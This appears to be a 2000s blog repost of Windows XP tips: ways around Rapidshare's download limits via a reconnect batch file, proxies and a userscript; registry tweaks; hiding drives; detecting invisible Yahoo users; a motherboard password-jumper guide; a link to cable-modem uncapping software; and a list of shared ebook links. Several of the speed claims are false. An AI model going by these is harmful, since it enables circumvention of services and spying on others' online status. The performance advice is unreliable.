<b>another method to cheat rapidshare</b><br> <br style=""> <br style=""> </p> <p style="" class="MsoNormal">CODE</p> <p style="" class="MsoNormal">As the topic says this method works fine for me .<br> first download the program proxyswitcher<br> Code:<br> <br> [code]<a href="http://rapidshare.de/files/14597697/PSPro_v3.5.3537.rar.html">http://rapidshare.de/files/14597697/PSPro_v3.5.3537.rar.html</a></p> <p style="" class="MsoNormal"><br> <br> Then install it. after installtion we will see flash tutorial how to use this program.<br> it 's very easy to switch the proxies ( just right click ) and you can even download parallelly.[/code]<br> <br> <b>turn on pc faster</b><br> <br style=""> <br style=""> </p> <p style="" class="MsoNormal">CODE</p> <p style="" class="MsoNormal">Aight so u wanna know how to turn the pc on in 10 seconds (may vary)Aight heres what u have to do to turn ur pc on in 10 seconds<br> <br> Aite Click on the start button then press R it will take u to Run well go to run<br> n type Regedit<br> press enter<br> this will open Registery Editor<br> now look for the key<br> <br> [b]HKEY_LOACAL_MECHINE\SYSTEM\CurrentControlSet\Contr ol\ContentIndex[/b]<br> <br> now there find the Key Called<br> "Startup Delay"<br> Double Click On It<br> Now where its Base<br> Click Decimal<br> Now its Default Value Is 4800000 (75300:hexadecimal)<br> Change The Value To 40000<br> here u go u have done it<br> now close the Registery Editor and Restart Your Computer<br> You'll See The Result</p> <p style="" class="MsoNormal"><br> <br> <b>boast PC speed -2</b><br> <br style=""> <br style=""> </p> <p style="" class="MsoNormal">CODE</p> <p style="" class="MsoNormal">Icons on the destop will slow down the booting speed of windows to avoid this, we have to increase cache memory of the icons.<br> iconcache.db is the file managing the icon cache..<br> <br> follow this steps to do that<br> <br> start =&gt;run in that type regedit<br> <br> i[b]n regedit window HKEY-LOCAL-MACHINE =&gt;SOFTWARE=&gt;M*cro$oft=&gt;WINDOWS=&gt;CURRENT VERSION=&gt;EXPLORER=&gt;MAX CACHED ICONS[/b]<br> <br> in that 500 will be the existing value to edit that double click that, now u can see edit string on value section type 2000 instead of 500.<br> close regedit and now reboot windows now u can see the difference..</p> <p style="" class="MsoNormal"><br> <br> <b>Automate -&gt; Rapishare d/ls + cheat 1hr limit!!!</b><br> <br style=""> <br style=""> </p> <p style="" class="MsoNormal">CODE</p> <p style="" class="MsoNormal">[b]FOR DYNAMIC IP's....[/b]<br> If you have a system that works by going off-line/on-line between downloads then this should work for you. This method has only been tested for Rapidshare on WinXP.<br> <br> Creating reconnector.bat<br> First copy/paste the lines below into a new file called reconnector.bat (use Notepad)<br> "The Name Of Your Connection" is the name of the icon in folder Control Panel/Network Connections (include the double quotes).<br> Code:<br> <br> echo off cls echo Disconnecting... rasdial "The Name Of Your Connection" /disconnect cls echo Waiting... ping -n 6 127.0.0.1 &gt; nul cls rasdial "The Name Of Your Connection" username password<br> <br> <br> NB:- The command echo, cls, etc., has nothing to do with renewing IP... They r added just to make it view nice<br> <br> IMPORTANT:- The command 'ping' gives a time delay... Here '6' means 6sec delay b/w disconnecting and reconnecting... U can give any delay...<br> <br> This is the syntax which I used, u can change it depending on <st1:place w:st="on"><st1:city w:st="on">ur</st1:city></st1:place> connection.<br> <br> Test:<br> No go online and open reconnector.bat u should get disconnected and reconnected...<br> <br> [b]Method 1. Using USDownloader[/b]<br> You will need Universal Share Downloader with newest plugins (this program automatically puts in the Rapidshare 3 letter code). Get the latest version from here:-<br> Code:<br> <br> [b]<a href="http://www.dimonius.ru/dusd.php[/b]">http://www.dimonius.ru/dusd.php[/b]</a><br> <br> STEPS<br> 1. Open Universal Share Downloader v1.3.3<br> 2. Go to Options/Misc and choose under "Run after download complete" the path to your reconnector.bat.<br> 3. Go to Options/Settings and ensure the Reattempt delay is set to 1 or 0.<br> 4. Go to Options/Proxy and ensure proxies are not being used.<br> <br> NB:- For newer versions of USDowloader, like v1.3.4b4 follow these steps:<br> 1. Go to Options -&gt; Scheduler.<br> 2. Tick Use Scheduler<br> 3. Press Add(+)<br> 4. In the Event Tab, select 'After File Download'<br> 5. Action 'Execute File'.<br> 6. File name-&gt; browse to reconnector.bat<br> 7. Make sure 'Wait Finish' is enabled.<br> 8. Here also in settings make sure that redial attempt is set to 0 or 1.<br> (In the settings tab I chose all the values 0...)<br> <br> Load a number of files into your Universal Share Downloader v1.3.3 list, go online and start downloading.<br> After every download it will disconnect/reconnect automatically.<br> <br> If a file won't start downloading try as you did before, it may no longer be there.<br> <br> IMPORTANT: Be very careful not to double left click on the reconnector.bat file while on-line or it will stop your download.<br> If you want to look at it then right click and open with Notepad.<br> <br> Method 2. Using RAPGET<br> Go to:-<br> Code:<br> <br> [b]<a href="http://www.rapget.com/en/download.html[/b]">http://www.rapget.com/en/download.html[/b]</a><br> <br> to get the latest version of Rapget..<br> <br> STEPS<br> 1. Open Rapget.<br> 2. Go to settings-&gt;scheduler.<br> 3. Tick 'Use Scheduler'.<br> 4. In the 'Action' part select 'Run program'<br> 5. Browse to the previously created reconnector.bat<br> 6. In the 'Event' select 'After every download'<br> 7. Condition -&gt; 'All' or 'successful download'<br> 8. Press the Add button(+).<br> 9. Now go to General Tab and select waiting time to 1min or 0min.<br> <br> [b]FOR STATIC IP's...[/b]<br> Ok, for static IP u should use proxy. But u can automate rapidshare d/l's using proxies...<br> I prefer a Grabber + Rapget/USDownloader use... It really works...<br> <br> To get proxy list<br> 1. Find some proxy list from google or from CMS Tools-&gt; Fresh Proxies -- added daily. U can also use any of these links for getting proxies...<br> Code:<br> <br> [b]<a href="http://www.samair.ru/proxy/">http://www.samair.ru/proxy/</a> <a href="http://www.proxy4free.com/page1.html">http://www.proxy4free.com/page1.html</a> <a href="http://www.publicproxyservers.com/page1.html[/b]">http://www.publicproxyservers.com/page1.html[/b]</a><br> <br> 2. Copy the proxy list to Grabber 1.4.3a proxy checker and start checking...<br> 3. Copy valid ones to the clipboard and save it in a text document.<br> <br> Method 1. Using Rapget<br> STEPS<br> 1. Open rapget.<br> 2. Go to settings -&gt; Proxy.<br> 3. Tick 'Use Proxy list'.<br> 4. Browse to the text document.<br> 5. Now go to Servers -&gt; rapidshare.de and set simultaneous d/l's to any number u like. (I prefer 1 at a time)<br> 6. Now go to General-&gt;Waiting time and set its value to 0.<br> 7. Done!<br> <br> U can now add links to Rapget and start d/l!!!<br> <br> Method 2. Using USDownloader<br> STEPS<br> 1. Open USDownloader<br> 2. Go to Options-&gt; Proxy<br> 3. Tick proxy list.<br> 4. Browse to the text document.<br> 5. Go to settings and set retry delay to 0.<br> 6. Add links and start downloading...</p> <p style="" class="MsoNormal"><br> <b>Cheat Rapidshare using Firefox No more waiting</b><br> <br> Here is the procedure<br> <br> 1.Download greasemonkey extension for firefox (that manages the javascripts for the firefox browser) from<br> <br> &lt;b&gt;<a href="http://ftp.scarlet.be/pub/mozdev/greasemonkey/greasemonkey_0.2.6.xpi">http://ftp.scarlet.be/pub/mozdev/greasemonkey/greasemonkey_0.2.6.xpi</a><br> <br style=""> <br style=""> </p> <p style="" class="MsoNormal">CODE</p> <p style="" class="MsoNormal">2.As soon as you click the above link, firefox will ask you if you want to install the plugin. Click the install button.Otherwise Download it ,and Right Click on it and say open with Firefox.<br> <br> 3.Install it,and restart Firefox.<br> <br> 4. Now go here<br> <br> <a href="http://rapidshare.de/files/3718221/rapidshare.user.js.html">http://rapidshare.de/files/3718221/rapidshare.user.js.html</a><br> <br> Click on free to go to the download page.<br> <br> 5.Right click on rapidshare.user.js and choose "Install User Script". Confirm the java script installation.<br> <br> 6. Restart Firefox.<br> <br> Now click on any rapidshare link and click on the free button(as we all<br> do). You will notice that your link will appear within 2 seconds with<br> no download limit Yahoo.gif .</p> <p style="" class="MsoNormal"><o:p>&nbsp;</o:p></p> <p style="" class="MsoNormal"><b>HOW TO HIDE DRIVES IN WINDOWS XP, no body can find it</b><br> <br style=""> <br style=""> </p> <p style="" class="MsoNormal">CODE</p> <p style="" class="MsoNormal">If u r having any material like porn movies , important docs and u r afraid abt it . dont wory windows XP provides (not officialy ) a utility by which u can hide urs one or more drives .<br> This utility having lots of function but i m giving u one of them.<br> <br> ******************************<br> [b]THIS METHODE IS DISCOVER BY ME[/b]<br> ******************************<br> <br> 1. Go to Start &gt; run &gt; type "diskpart".<br> a dos window will appear with following discription.<br> DISKPART&gt;<br> <br> 2. then type "list volume"<br> <br> this will look like it<br> <br> Volume### Ltr Label Fs Type Size Status Info<br> -------------- ---- ------ --- ----- ---- ------- -----<br> <br> Volume 0 F DC-ROM<br> Volume 1 C NTFS Partition 7000MB Healthy<br> Volume 2 D soft NTFS Partition 8000MB Healthy<br> Volume 3 E porn NTFS Partition 8000MB Healthy<br> <br> <br> 3.if u wanna hide drive E then type "select volume 3"<br> <br> then a message will appear in same winwods { Volume 3 is the selected volume}<br> <br> 4.now type " remove letter E"<br> now a message will come { Diskpart Removed the Drive letter }<br> sometime it requires the reboot the computer .<br> <br> Diskpart will remove the letter .Windows XP is not having capabilty to identify the unkown volume.<br> <br> Don afraid <st1:place w:st="on"><st1:city w:st="on">ur</st1:city></st1:place> Data will ramin same .<br> to Come backe the Drive repeat the process . but in 4th step whish is shown in this post replace " remove" to "assign"<br> i mean type " assign letter E"</p> <p style="" class="MsoNormal"><br> <br> <b>Finding a invisible user on Yahoo! Messenger</b><br> <br style=""> <br style=""> </p> <p style="" class="MsoNormal">CODE</p> <p style="" class="MsoNormal">Finding whether a user is offline or online on Yahoo! Messenger.<br> <br> Many people nowdays prefer to stay offline while using Yahoo! Messenger - mostly done to avoid someone. There are many ways of finding people who are online but yet invisible.<br> <br> [b]First Method: Doodle Method[/b]<br> <br> 1. Double Click on the user whose status you want to check.<br> 2. A message window will open.<br> 3. Click IMVironment button, select See all IMVironments, select Yahoo! Tools or Interactive Fun, and click on Doodle.<br> 4. The last step and the most important step. After loading the Doodle IMVironment, there will be two possibilities.<br> a) If the user is offline, the Doodle area will show “waiting for your friend to load Doodle” continuously.<br> B) If the user is online (in invisible mode), after few seconds (it can take up to one minute, depending on connection speed), you will get a blank page. So the user is online!<br> <br> [b]Second Method: Voice Chat Method[/b]<br> <br> 1. Double Click on the user whose status you want to check.<br> 2. Click on “Voice” icon on the toolbar, or select “Contact” menu and select “Enable Voice Chat” .<br> 3. The deciding part… there are 2 possible results:<br> a) If the user is offline, you will get this message: “Internal server error. Cannot obtain voice token to start voice chat.”<br> B) If the user is invisible (actually online), you will see the Voice Toolbar.<br> <br> [b]Third Method: Conference Invitation[/b]<br> <br> 1. Right Click on the user whose status you want to check.<br> 2. When the menu appears, select Invite to Conference.<br> 3. A window will appear. See at the right pane, the username you selected will be there. Now, click Invite.<br> 4. The deciding part… there are 2 possible results:<br> a) If the user is offline, you will get this message: “None of the users in the invite list are available to join the conference. Please try at a later time.”<br> B) If the user is invisible, you will get a window similar saying: “You are now logged into voice conference - njs124<br> <br> [b]Fourth Method: Buddy Spy 2.2.9[/b]<br> <br> 1. Get Buddy Spy from [url=http://www.xsharex.info/redirect.php?url=http://www.buddy-spy.com]www.buddy-spy.com[/url]<br> 2. Go to configure and enter your login details.<br> 3. Now go to Buddy Spy option and enter the username you want to track. You can also check multiple ids also.<br> Not only Buddy Spy tells the status of Chat but also Room Chat and WebCamera status of that user also!<br> 4. You can edit other options through Scan Options menu.<br> <br> Now Have a great chatting!</p> <p style="" class="MsoNormal"><br> <br> <b>Using Ms Calculator As A Browser, When all else fails</b><br> <br style=""> <br style=""> </p> <p style="" class="MsoNormal">CODE</p> <p style="" class="MsoNormal">How to acces the internet via your standard m*cro$oft Calculator<br> When your browser(s) is/are messed up for some unexplainable reason<br> <br> 1. Open your MS Calculator. This is normally found in Start =&gt; All Programs =&gt; Accessories =&gt; Calculator.<br> 2. Open the help-window by pressing the F1 key.<br> 3. Click the top-left corner icon of the help window once (Standard is a Document with a Questionmark).<br> 4. Select Go to URL-address.<br> 5. Type your address into the avaliable field, but remember to type [url=http://www.xsharex.info/redirect.php?url=http://]<a href="http://[/url],">http://[/url],</a> and not just www. (or equivalent).<br> 6. Have fun!<br> Hope you remember this in case all else should fail!</p> <p style="" class="MsoNormal"><br> <br> <b>how 2 rename 'recycle' bin</b><br> <br style=""> <br style=""> </p> <p style="" class="MsoNormal">CODE</p> <p style="" class="MsoNormal">To rename the recycle bin (just by rightclicking the icon on the desktop),<br> <br> Open regedit and find the key<br> HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08 -00AA002F954E}\ShellFolder.<br> <br> Select this, on the right there's a binary value called Attributes. Rightclick it, 'modify'. Instead of 40 01 00 20 it should read 50 01 00 20 to have a 'rename' option. For a 'delete' option it should read 60 01 00 20 or make it say 70 01 00 20 to have both.<br> <br> In XP, you'll also need to edit the dword string called "CallForAttributes" there. Set it to 0x00000000 (0).</p> <p style="" class="MsoNormal"><br> <br> <b>Hack Windows Password by using Jumpers</b><br> <br style=""> <br style=""> </p> <p style="" class="MsoNormal">CODE</p> <p style="" class="MsoNormal">Hack Administrator pass<br> <br> Contents<br> · Jumper Locations and Definitions<br> · CPU Configuration<br> · Other Jumpers<br> <br> <br> <br> Jumper Locations and Definitions<br> <br> <br> Function Jumper Block<br> CMOS Clear J 7K1-A 4-5 Keep (default)5-6 Clear<br> Password Clear J7K1-A 1-2 Password Enabled (default) 2-3 Password Clear/Disabled<br> CMOS Setup Access J7K1-B 1-2 Access Allowed (default)2-3 Access Denied<br> VR/OVD J7K1-B 4-5 OVD/Standard [3.3-3.465V] (default)5-6 VRE [3.4-3.6V]<br> Caution: J7K1-B jumper pins 4, 5, 6 should not be changed unless changing to a new processor type.<br> CPU Configuration J7K1-B,C,D<br> <br> <br> <br> CPU Configuration (J7K1-B, C, D)<br> <br> These jumpers allow the motherboard to be switched between different speeds of the Intel® Pentium® processor. These jumpers also affect the PCI and ISA clock speeds according to the following table.<br> <br> CPU/SYSTEM Speed Settings<br> CPU Freq. (MHz) Host Bus Freq. (MHz) J7K1-C J7K1-D CPU Clock Multiplier<br> 200 66 1-2,5-6 1-2,5-6 3<br> 166 66 1-2,5-6 2-3,5-6 2.5<br> 150 60 2-3,4-5 2-3,5-6 2.5<br> 133 66 1-2,5-6 2-3,4-5 2<br> 120 60 2-3,4-5 2-3,4-5 2<br> 100 66 1-2,5-6 1-2,4-5 1.5<br> 90 60 2-3,4-5 1-2,4-5 1.5<br> 75 50 2-3,5-6 1-2,4-5 1.5<br> reserved 2-3,5-6 1-2,5-6<br> reserved 2-3,4-5 1-2,5-6<br> <br> <br> <br> Clear CMOS (J7K1-A, Pins 4,5,6)<br> Allows CMOS settings to be reset to default values by moving the jumper from pins 4-5 to pins 5-6 and turning the system on. When the system reports that "NVRAM cleared by jumper", the system can be turned off, and the jumper should be returned to the 4-5 position to restore normal operation. This procedure should be done whenever the system BIOS is updated. Default is for this jumper to be on pins 4-5.<br> <br> Password Clear (J7K1-A, Pins 1,2,3)<br> Allows system password to be cleared by moving the jumper from pins 1-2 to pins 2-3 and turning the system on. The system should then be turned off and the jumper should be returned to the 3-5 position to restore normal operation. This procedure should only be done if the user password has been forgotten. The password function is effectively disabled if this jumper is in the 1-3 position. Default is for the password to be enabled (3-5 position).<br> <br> CMOS Setup Access (J7K1-B, Pins 1,2,3)<br> Allows access to CMOS Setup utility to be disabled by moving this jumper from the 1-2 position to the 2-3 position. Default is for access to setup to be enabled (1-2 position)<br> <br> VR/OVD (J7K1-B, Pins 4,5,6)<br> This jumper block changes the output of the on-board voltage regulator. The default setting (pins 4-5) should be jumpered for processors that require voltages between 3.135 volts and 3.6 volts. Pins 5-6 should be jumpered for processors requiring 3.4 volts to 3.6 volts. Check the microprocessor's documentation for the correct setting.<br> <br> Note:This jumper should not be changed by the user unless changing to a new processor type.<br> <br> Other Jumpers<br> Program Boot Block Enable (J1F1, Pins 4,5,6)<br> This jumper allows the boot block to be programmed when set to Program (pins 5-6). The default setting is Protect (pins 4-5). CAUTION:Changing this jumper and reprogramming the boot block could cause unreliable operation.<br> <br> Recovery Boot Enable (J1F1, Pins 1,2,3)<br> This jumper allows the BIOS to be recovered if it has been corrupted. To set the jumper to Recover, move the jumper from pins 1-2 to pins 2-3. Default lt setting is for <st1:place w:st="on">Normal</st1:place> operation (pins 1-2)</p> <p style="" class="MsoNormal"><br> <b>Cable/Modem Bandwidth Hacking</b><br> <br> An ambitious hackware project promises to bring illicit broadband "uncapping" to the masses, and with it the risks that come with high-speed hijinks. From a pitiable 56kbps AOL dial-up somewhere in suburban <st1:place w:st="on"><st1:state w:st="on">Colorado</st1:state></st1:place>, 19-year-old Myko Hein would like to tap out this sad, regretful message to the powers-that-be at his former cable Internet provider, AT&amp;T Broadband: I was wrong. It'll never happen again. Please take me back.<br> Check Out The Whole Story Out here :<br> <br> <b><a href="http://www.mycrypto.net/underground/cable_modem_hacking.html">http://www.mycrypto.net/underground/cable_modem_hacking.html</a><br> </b><br> Software He Used <br> <br style=""> <br style=""> </p> <p style="" class="MsoNormal">CODE</p> <p style="" class="MsoNormal"><a href="http://www.megaupload.com/?d=94RYME81">http://www.megaupload.com/?d=94RYME81</a></p> <p style="" class="MsoNormal"><br> <br> <b>100 Windows Xp Run Commands</b><br> <br> eg:- Go to StartMenu&gt;RUN&gt; "Command "<br> <br> <br style=""> <br style=""> </p> <p style="" class="MsoNormal">CODE</p> <p style="" class="MsoNormal">Accessibility Controls<br> access.cpl<br> <br> Add Hardware Wizard<br> hdwwiz.cpl<br> <br> Add/Remove Programs<br> appwiz.cpl<br> <br> Administrative Tools<br> control admintools<br> <br> Automatic Updates<br> wuaucpl.cpl<br> <br> Bluetooth Transfer Wizard<br> fsquirt<br> <br> Calculator<br> calc<br> <br> Certificate Manager<br> certmgr.msc<br> <br> Character Map<br> charmap<br> <br> Check Disk Utility<br> chkdsk<br> <br> Clipboard Viewer<br> clipbrd<br> <br> Command Prompt<br> cmd<br> <br> Component Services<br> dcomcnfg<br> <br> Computer Management<br> compmgmt.msc<br> <br> Date and Time Properties<br> timedate.cpl<br> <br> DDE Shares<br> ddeshare<br> <br> Device Manager<br> devmgmt.msc<br> <br> Direct X Control Panel (If Installed)*<br> directx.cpl<br> <br> Direct X Troubleshooter<br> dxdiag<br> <br> Disk Cleanup Utility<br> cleanmgr<br> <br> Disk Defragment<br> dfrg.msc<br> <br> Disk Management<br> diskmgmt.msc<br> <br> Disk Partition Manager<br> diskpart<br> <br> Display Properties<br> control desktop<br> <br> Display Properties<br> desk.cpl<br> <br> Display Properties (w/Appearance Tab Preselected)<br> control color<br> <br> Dr. Watson System Troubleshooting Utility<br> drwtsn32<br> <br> Driver Verifier Utility<br> verifier<br> <br> Event Viewer<br> eventvwr.msc<br> <br> File Signature Verification Tool<br> sigverif<br> <br> Findfast<br> findfast.cpl<br> <br> Folders Properties<br> control folders<br> <br> Fonts<br> control fonts<br> <br> Fonts Folder<br> fonts<br> <br> Free Cell Card Game<br> freecell<br> <br> Game Controllers<br> joy.cpl<br> <br> Group Policy Editor (XP Prof)<br> gpedit.msc<br> <br> Hearts Card Game<br> mshearts<br> <br> Iexpress Wizard<br> iexpress<br> <br> Indexing Service<br> ciadv.msc<br> <br> Internet Properties<br> inetcpl.cpl<br> <br> <br> IP Configuration (Display Connection Configuration)<br> ipconfig /all<br> <br> IP Configuration (Display DNS Cache Contents)<br> ipconfig /displaydns<br> <br> IP Configuration (Delete DNS Cache Contents)<br> ipconfig /flushdns<br> <br> IP Configuration (Release All Connections)<br> ipconfig /release<br> <br> IP Configuration (Renew All Connections)<br> ipconfig /renew<br> <br> IP Configuration (Refreshes DHCP &amp; Re-Registers DNS)<br> ipconfig /registerdns<br> <br> IP Configuration (Display DHCP Class ID)<br> ipconfig /showclassid<br> <br> IP Configuration (Modifies DHCP Class ID)<br> ipconfig /setclassid<br> <br> <br> ava Control Panel (If Installed)<br> jpicpl32.cpl<br> <br> Java Control Panel (If Installed)<br> javaws<br> <br> Keyboard Properties<br> control keyboard<br> <br> Local Security Settings<br> secpol.msc<br> <br> Local Users and Groups<br> lusrmgr.msc<br> <br> Logs You Out Of Windows<br> logoff<br> <br> Mcft Chat<br> winchat<br> <br> Minesweeper Game<br> winmine<br> <br> Mouse Properties<br> control mouse<br> <br> Mouse Properties<br> main.cpl<br> <br> Network Connections<br> control netconnections<br> <br> Network Connections<br> ncpa.cpl<br> <br> Network Setup Wizard<br> netsetup.cpl<br> <br> Notepad<br> notepad<br> <br> Nview Desktop Manager (If Installed)<br> nvtuicpl.cpl<br> <br> Object Packager<br> packager<br> <br> ODBC Data Source Administrator<br> odbccp32.cpl<br> <br> On Screen Keyboard<br> osk<br> <br> Opens AC3 Filter (If Installed)<br> ac3filter.cpl<br> <br> Password Properties<br> password.cpl<br> <br> Performance Monitor<br> perfmon.msc<br> <br> Performance Monitor<br> perfmon<br> <br> Phone and Modem Options<br> telephon.cpl<br> <br> Power Configuration<br> powercfg.cpl<br> <br> Printers and Faxes<br> control printers<br> <br> Printers Folder<br> printers<br> <br> Private Character Editor<br> eudcedit<br> <br> Quicktime (If Installed)<br> QuickTime.cpl<br> <br> Regional Settings<br> intl.cpl<br> <br> Registry Editor<br> regedit<br> <br> Registry Editor<br> regedit32<br> <br> Remote Desktop<br> mstsc<br> <br> Removable Storage<br> ntmsmgr.msc<br> <br> Removable Storage Operator Requests<br> ntmsoprq.msc<br> <br> Resultant Set of Policy (XP Prof)<br> rsop.msc<br> <br> Scanners and Cameras<br> sticpl.cpl<br> <br> Scheduled Tasks<br> control schedtasks<br> <br> Security Center<br> wscui.cpl<br> <br> Services<br> services.msc<br> <br> Shared Folders<br> fsmgmt.msc<br> <br> Shuts Down Windows<br> shutdown<br> <br> Sounds and Audio<br> mmsys.cpl<br> <br> Spider Solitare Card Game<br> spider<br> <br> SQL Client Configuration<br> cliconfg<br> <br> System Configuration Editor<br> sysedit<br> <br> System Configuration Utility<br> msconfig<br> <br> System File Checker Utility (Scan Immediately)<br> sfc /scannow<br> <br> System File Checker Utility (Scan Once At Next Boot)<br> sfc /scanonce<br> <br> System File Checker Utility (Scan On Every Boot)<br> sfc /scanboot<br> <br> System File Checker Utility (Return to Default Setting)<br> sfc /revert<br> <br> System File Checker Utility (Purge File Cache)<br> sfc /purgecache<br> <br> System File Checker Utility (Set Cache Size to size x)<br> sfc /cachesize=x<br> <br> System Properties<br> sysdm.cpl<br> <br> Task Manager<br> taskmgr<br> <br> Telnet Client<br> telnet<br> <br> User Account Management<br> nusrmgr.cpl<br> <br> Utility Manager<br> utilman<br> <br> Windows Firewall<br> firewall.cpl<br> <br> Windows Magnifier<br> magnify<br> <br> Windows Management Infrastructure<br> wmimgmt.msc<br> <br> Windows System Security Tool<br> syskey<br> <br> Windows Update Launches<br> wupdmgr<br> <br> Windows XP Tour Wizard<br> tourstart<br> <br> Wordpad<br> write</p> <div style="border-style: none none solid; border-color: -moz-use-text-color -moz-use-text-color windowtext; border-width: medium medium 1pt; padding: 0cm 0cm 1pt;"> <p style="border: medium none ; padding: 0cm; margin-bottom: 12pt;" class="MsoNormal"><br> <br> <b>Boost Up Your Internet Connection</b><br> <br> <b>METHOD 1</b><br> <br> For:<br> <b>WinME Win95 and Win98</b><br> <br> -----To do this click on your start button, then go to Search then open up Dial Up<br> Networking, then right click on your connection,Go to Properties then where the modem is<br> located(Tellin you wut modem you are using)Hit Configure, Next click on Connection, and<br> locate the Advaced button click on it and see where it says Extra Settings Type This:<br> <br> at&amp;fx<br> <br> Then hit apply, then close it out, and disconect from your internet, and then start it back<br> up...your connection speedwill be 5 times more...It made mine boost up from 45,200BPS to<br> 115,200BPS-----<br> <br> <br> <br> For:<br> <b>WinXP WinCE and Win2000</b><br> <br> -----Right click on "My Computer" then go to "Properties" then go to "Hardware" then go to<br> "Device Manager" then go to "Modems" Then select that tab so it scrolls down, then go to<br> your modem, and right click and go to "Properties" then go to "Advanced" Then in the box<br> saying "Extra Settings/Extra Initialization Commands" type in that box:<br> <br> at&amp;fx<br> <br> --then click ok then ok again and exit out of everything, disconect from tha internet and<br> reconnect and you will be connected at a faster speed. you wouold be connected at 42,200KBPS<br> and now your new connection will be 100,200KBPS--<br> <br> <b>METHOD 2</b><br> <br> Increase the speed your modem connects.<br> 1. Click start.<br> 2. Click control panel.<br> 3. Click modems.<br> 4. Click properties.<br> 5. Click the connection tab.<br> 6. Click advanced.<br> 7. In the extra settings dialog box add the string S11=40.<br> 8. Click Ok.</p> </div> <p style="" class="MsoNormal"><o:p>&nbsp;</o:p></p> <p style="" class="MsoNormal"><b>Windows uses 20% of your bandwidth ! </b><br> <br style=""> <br style=""> </p> <p style="" class="MsoNormal">CODE</p> <span style="font-size: 12pt; font-family: "Times New Roman";">Here's how to get it back:<br> <br> Click Start--&gt;Run--&gt;type \"gpedit.msc\" without the \"<br> <br> This opens the group policy editor. Then go to:<br> <br> Local Computer Policy--&gt;Computer Configuration--&gt;Administrative Templates--&gt;Network--&gt;QOS Packet Scheduler--&gt;Limit Reservable Bandwidth<br> <br> Double click on Limit Reservable bandwidth. It will say it is not configured, but the truth is under the 'Explain' tab :<br> <br> \"By default, the Packet Scheduler limits the system to 20 percent of the bandwidth of a connection, but you can use this setting to override the default.\"<br> <br> So the trick is to ENABLE reservable bandwidth, then set it to ZERO. This will allow the system to reserve nothing, rather than the default 20%.<br> <br> Works on XP Pro and 2000.<br> Other OS not tested.</span> <p class="multiply:no_crosspost"></p>
linkpost comment

Một số link ebooks tham khảo được trên các diễn đàn sách của Việt Nam [Mar. 16th, 2007|10:58 pm]
http://rapidshare.com/files/6759996/VIBA_-_VE_TINH.rar
 
http://rapidshare.com/files/6759885/VLKTh.rar
 
http://rapidshare.com/files/6759884/TUOC_BIN_NHIET_DIEN.rar
 
http://rapidshare.com/files/6759234/TU_DONG_HOA_QUA_TRINH_NHIET_P3.pdf
 
http://rapidshare.com/files/6759233/TU_DONG_HOA_QUA_TRINH_NHIET_P1__2.rar
 
http://rapidshare.com/files/6759008/tu_dien_dich_thuan_danh_cho_cau_duong.doc
 
http://rapidshare.com/files/6758928/tri_tue_nhan_tao_DHQG_HA_NOI.pdf
 
http://rapidshare.com/files/6758653/TK_SAN_QUAY_TANG_THUONG.rar
 
http://rapidshare.com/files/6758434/TINHHOC.pdf
 
http://rapidshare.com/files/6758433/TINH_TOAN_THIET_KE_HE_THONG_DIEU_HOA_KHONG_KHI.pdf
 
http://rapidshare.com/files/6758123/tim_1_.hieu.ADSL.5.rar
 
http://rapidshare.com/files/6758121/tim_1_.hieu.ADSL.4.rar
 
http://rapidshare.com/files/6758120/tim_1_.hieu.ADSL.3.rar
 
http://rapidshare.com/files/6757908/tim_1_.hieu.ADSL.2.rar
 
http://rapidshare.com/files/6757907/tim_1_.hieu.ADSL.1.rar
 
http://rapidshare.com/files/6757338/thuycong1.rar
 
http://rapidshare.com/files/6757337/Thuy_van_1.rar
 
http://rapidshare.com/files/6757336/THUAT_TOAN_THUAT_GIAI.pdf
 
http://rapidshare.com/files/6756617/ROBOT_CONG_NGHIEP.rar
 
http://rapidshare.com/files/6756616/nang_luong_mat_troi.rar
 
http://rapidshare.com/files/6756439/MPLS.pdf
 
http://rapidshare.com/files/6756438/mausacI.pdf
 
http://rapidshare.com/files/6756437/LV_TK_ho_tro_giai_batdang_thuc.pdf
 
http://rapidshare.com/files/6756047/logo.pdf
 
http://rapidshare.com/files/6756046/LAP_TRINH_TRUC_QUAN.pdf
 
http://rapidshare.com/files/6756045/lap_trinh_tien_hoa.pdf
 
http://rapidshare.com/files/6755219/LAP_TRINH_HUONG_DOI_TUONG.pdf
 
http://rapidshare.com/files/6755218/KY_THUAT_THONG_TIN_SO.pdf
 
http://rapidshare.com/files/6754747/KY_THUAT_SO.rar
 
http://rapidshare.com/files/6754746/KY_THUAT_NHIET_-_DIEN.pdf
 
http://rapidshare.com/files/6754189/KY_THUAT_LAP_TRINH__TREN_WINDOWS.rar
 
http://rapidshare.com/files/6754188/KHAO_SAT_UNG_DUNG_MATLAB_TRONG_DKTD.rar
 
http://rapidshare.com/files/6753916/INTRUCTION_STUDYING_SAP_2000_BY_VIDEO.rar
 
http://rapidshare.com/files/6752898/huong_dan_hoc_corell_draw.pdf
 
http://rapidshare.com/files/6751363/hinhoa.pdf
 
http://rapidshare.com/files/6751362/HE_THONG_THONG_TIN_QUANG.pdf
 
http://rapidshare.com/files/6751361/HE_THONG_MAY_VA_THIET_BI_LANH.zip
 
http://rapidshare.com/files/6751360/GiaotrinhvekythuatKT.rar
 
http://rapidshare.com/files/6751359/Giaotrinhmonmang.pdf
 
http://rapidshare.com/files/6750247/GiaotrinhHinhHoa.rar
 
http://rapidshare.com/files/6750246/giaotrinhCSDL.pdf
 
http://rapidshare.com/files/6750245/Giao_trinh_mang_VLXD.rar
 
http://rapidshare.com/files/6749382/DONGLUCHOC.pdf
 
http://rapidshare.com/files/6749381/DONGHOC.pdf
 
http://rapidshare.com/files/6749380/DO_LUONG_NHIET.pdf
 
http://rapidshare.com/files/6749379/DO_AN_CONG_NGHE_CHE_TAO_MAY.rar
 
http://rapidshare.com/files/6748800/dien_tu_tuong_tu.pdf
 
http://rapidshare.com/files/6748799/Code_ASPNET.zip
 
http://rapidshare.com/files/6748798/co_hoc_dat.rar
 
http://rapidshare.com/files/6748497/CHUYEN_MACH.pdf
 
http://rapidshare.com/files/6748496/chan_doan_tinh_trang_ky_thuat_oto.rar
 
http://rapidshare.com/files/6748495/CAU_TRUC_PHAN_CUNG_PC.zip
 
http://rapidshare.com/files/6747499/Cau_truc_mang_the_he_moi.zip
 
http://rapidshare.com/files/6747498/Cac_ham_API_danh_cho_VB.zip
 
http://rapidshare.com/files/6747085/bai_tap_sap.rar
 
http://rapidshare.com/files/6747084/Bai_giang_DK_so.pdf
 
http://rapidshare.com/files/6746789/autocad.rar
 
http://rapidshare.com/files/6746642/Audio-Video-Engineering.zip
 

linkpost comment

